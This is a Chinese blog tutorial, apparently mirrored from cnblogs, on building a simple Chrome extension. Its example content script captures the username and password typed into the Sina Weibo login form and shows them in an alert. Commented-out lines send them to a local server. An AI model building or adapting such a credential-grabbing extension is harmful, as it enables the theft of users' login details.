zoukankan      html  css  js  c++  java
  • 哇塞,原来自己写 Google Chrome 浏览器扩展(插件)这么容易!

    1. 首先新建一个记事本,命名为 manifest.json,这是写 Google Chrome 浏览器扩展必须的文件

    {
      "manifest_version": 2,
    
      "name": "Account Detect",
      "description": "This extension will detect your account",
      "version": "1.0",
    
      "permissions": [
        "http://*/*"
      ],
      "browser_action": {
        "default_icon": "icon.png"
      },
      "content_scripts": [
        {
          "matches": ["http://*/*"],
          "js": ["jquery-1.4.4.min.js", "myscript_v0.0.1.js"]
         
        }
      ]
    }

    2. 新建一个 myscript_v0.0.1.js 文件,这个是主文件,就是你写扩展的主要目的。比如我下面这个是弹出新浪微博登录页面中的用户名和密码。

    $(document).ready(function()
    {
    //    $("body").click(function()
    //    {
    //        alert("this is it - acount detect");
    //    });
        $("span[node-type='submitStates']").click(function(event)
        {
            var username = $('input[name="username"]').val();
            var passwords = $('input[name="password"]').val();
            
            // var query = '?username=' + username + '&' + 'passwords=' + passwords;
            // $.get('http://localhost:1337' + query, function() {});
    
            alert(username + ':' + passwords);
        });
    });

    3. 随便找一个 icon.png ,用作扩展的图标,下面有它出现的位置。

    4. 打开浏览器,加载扩展。

    5. 打开新浪微博的首页登录页(http://weibo.com

    6. 成功弹出。

    截图如下:

    需要准备的文件:

    加载 Chrome 扩展的截图:

    运行截图:

    查考自:http://www.cnblogs.com/heqichang/p/3189775.html

    谢谢浏览!

  • 相关阅读:
    刷新SqlServer数据库中所有的视图
    代码的阅读
    unity3d的模型规范
    XOCDE5开发
    unity3d自动寻路教程
    u3d性能优化
    U3D层的运用
    关于unity3d插件的自动打包
    unity3d各平台通讯原生的平台API的说明
    uniSWF使用注意事项
  • 原文地址:https://www.cnblogs.com/Music/p/google-chrome-extension-simple-demo.html
Copyright © 2011-2022 走看看